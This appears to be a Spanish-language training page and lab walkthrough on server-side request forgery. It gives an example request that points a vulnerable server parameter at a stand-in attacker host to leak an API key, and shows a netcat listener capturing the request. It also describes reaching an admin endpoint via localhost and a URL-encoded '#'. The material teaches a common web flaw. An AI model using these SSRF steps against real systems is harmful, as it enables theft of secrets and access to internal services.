XUT_ / COURSES / CYBER SECURITY 101

X. Server-Side Request Forgery (SSRF)

Este tipo de vulnerabilidad ocurre cuando un atacante convence a la aplicación web de mandar las peticiones en su representación a destinaciones arbitrarias mientras tiene el control sobre los contenidos de la petición en sí misma. Las vulnerabilidades SSRF comúnmente se ocasionan donde nuestra aplicación web utiliza servicios de terceros.

Piensa, por ejemplo, en una aplicación web que usa una API externa para mandar notificaciones SMS a sus clientes. Por cada email, la app tiene que realizar una petición web al servidor proveedor de SMS para mandar el mensaje.Ya que los proveedores de mensajería cobran por el uso de mensajes, nos piden añadir una clave secreta, que te preasignan. Los servidores API de claves como tokens de autentificación te permiten que el proveedor sepa quién eres.

X. Server-Side Request Forgery (SSRF)

Mirando el diagrama arriba mostrado es fácil ver dónde está la vulnerabilidad. La aplicación expone el parámetro server a los usuarios, que define el nombre del servidor proveedor de SMS. Si un atacante quisiese, simplemente cambiaría el valor del parámetro server para apuntar a una máquina que ellos controlen. Como parte del mensaje, recibirían la clave API, permitiéndoles usar los servicios SMS a tu costa. Para hacerlo, sólo tendría que hace la siguiente petición a tu sitio web:

https://www.mysite.com/sms?server=attacker.thm&msg=ABC

Entonces simplemente capturarías el tráfico:

http
user@attackbox$ nc -lvp 80
Listening on 0.0.0.0 80
Connection received on 10.10.1.236 43830
GET /:8087/public-docs/123.pdf HTTP/1.1
Host: 10.10.10.11
User-Agent: PycURL/7.45.1 libcurl/7.83.1 OpenSSL/1.1.1q zlib/1.2.12 brotli/1.0.9 nghttp2/1.47.0
Accept: */*

Aunque esto no parezca amenazante, SSRF se puede usar para:

  • Enumerar redes internas, incluyendo direcciones IPs y puertos.
  • Abusar relaciones de confianza entre servidores y ganar acceso a servicios de otra manera restringidos.
  • Interactuar con algunos servicios no-HTTP para conseguir ejecución remota de comandos (RCE).

Challenge

  1. Accedemos a la página web: X. Server-Side Request Forgery (SSRF)
  2. Después de investigar un poco encontramos "admin area": X. Server-Side Request Forgery (SSRF)
  3. Si nos fijamos, el servidor apunta a una dirección curiosa al descargar el CV: X. Server-Side Request Forgery (SSRF)
  4. Haciendo uso de lo que hemos aprendido, vamos a intentar SSRF: X. Server-Side Request Forgery (SSRF)
  5. Y voilà: X. Server-Side Request Forgery (SSRF)
  6. Para acceder a admin podemos modificar url de la descarga del CV y meter localhost con el endpoint admin: X. Server-Side Request Forgery (SSRF)
  7. La flag extra es: X. Server-Side Request Forgery (SSRF)
NOTE

The # symbol indicates a fragment identifier in a URL, which is often used by browsers to navigate to a specific part of a webpage. When you add %23 (the URL-encoded version of #), it may be tricking the server into treating it as part of the URL, allowing the request to reach the /admin endpoint. Without it, the server might not recognize the path correctly or could return a different response.